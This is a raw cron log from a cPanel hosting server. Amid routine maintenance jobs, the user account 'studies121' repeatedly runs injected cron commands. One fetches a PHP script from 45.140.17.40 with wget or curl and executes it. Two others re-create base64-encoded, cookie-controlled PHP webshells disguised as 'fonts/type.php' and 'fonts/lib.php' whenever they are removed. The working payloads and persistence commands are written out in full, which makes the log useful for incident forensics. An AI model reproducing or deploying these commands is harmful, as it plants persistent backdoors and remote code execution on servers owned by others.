Sep  9 08:24:01 ip-184-168-122-23 CROND[12292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:25:01 ip-184-168-122-23 CROND[12387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:25:01 ip-184-168-122-23 CROND[12389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:25:01 ip-184-168-122-23 CROND[12392]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 08:25:01 ip-184-168-122-23 CROND[12390]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:25:01 ip-184-168-122-23 CROND[12391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:25:01 ip-184-168-122-23 CROND[12393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:25:01 ip-184-168-122-23 CROND[12394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:26:01 ip-184-168-122-23 CROND[12510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:26:01 ip-184-168-122-23 CROND[12512]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  9 08:26:01 ip-184-168-122-23 CROND[12515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:26:01 ip-184-168-122-23 CROND[12513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:26:01 ip-184-168-122-23 CROND[12514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:26:01 ip-184-168-122-23 CROND[12516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  9 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  9 08:27:01 ip-184-168-122-23 CROND[12763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:27:01 ip-184-168-122-23 CROND[12761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:27:01 ip-184-168-122-23 CROND[12762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:27:01 ip-184-168-122-23 CROND[12764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:28:01 ip-184-168-122-23 CROND[12847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:28:01 ip-184-168-122-23 CROND[12849]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:28:01 ip-184-168-122-23 CROND[12850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:28:01 ip-184-168-122-23 CROND[12852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:28:01 ip-184-168-122-23 CROND[12851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:29:01 ip-184-168-122-23 CROND[12970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:29:01 ip-184-168-122-23 CROND[12971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:29:01 ip-184-168-122-23 CROND[12969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:29:01 ip-184-168-122-23 CROND[12972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:30:01 ip-184-168-122-23 CROND[13074]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 08:30:01 ip-184-168-122-23 CROND[13073]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:30:01 ip-184-168-122-23 CROND[13075]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:30:01 ip-184-168-122-23 CROND[13080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:30:01 ip-184-168-122-23 CROND[13084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:30:01 ip-184-168-122-23 CROND[13083]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:30:01 ip-184-168-122-23 CROND[13086]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:30:01 ip-184-168-122-23 CROND[13082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:30:01 ip-184-168-122-23 CROND[13088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:31:01 ip-184-168-122-23 CROND[13216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:31:01 ip-184-168-122-23 CROND[13217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:31:01 ip-184-168-122-23 CROND[13218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:31:01 ip-184-168-122-23 CROND[13219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:31:01 ip-184-168-122-23 CROND[13220]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 08:32:01 ip-184-168-122-23 CROND[13346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:32:01 ip-184-168-122-23 CROND[13347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:32:01 ip-184-168-122-23 CROND[13349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:32:02 ip-184-168-122-23 CROND[13350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:32:02 ip-184-168-122-23 CROND[13352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:33:01 ip-184-168-122-23 CROND[13451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:33:01 ip-184-168-122-23 CROND[13453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:33:01 ip-184-168-122-23 CROND[13454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:33:01 ip-184-168-122-23 CROND[13456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:34:02 ip-184-168-122-23 CROND[13548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:34:02 ip-184-168-122-23 CROND[13549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:34:02 ip-184-168-122-23 CROND[13550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:34:02 ip-184-168-122-23 CROND[13551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:34:02 ip-184-168-122-23 CROND[13554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:35:01 ip-184-168-122-23 CROND[13679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:35:02 ip-184-168-122-23 CROND[13680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:35:02 ip-184-168-122-23 CROND[13686]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 08:35:02 ip-184-168-122-23 CROND[13681]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 08:35:02 ip-184-168-122-23 CROND[13685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:35:02 ip-184-168-122-23 CROND[13682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:35:02 ip-184-168-122-23 CROND[13687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:35:02 ip-184-168-122-23 CROND[13688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:36:01 ip-184-168-122-23 CROND[13805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:36:01 ip-184-168-122-23 CROND[13806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:36:01 ip-184-168-122-23 CROND[13809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
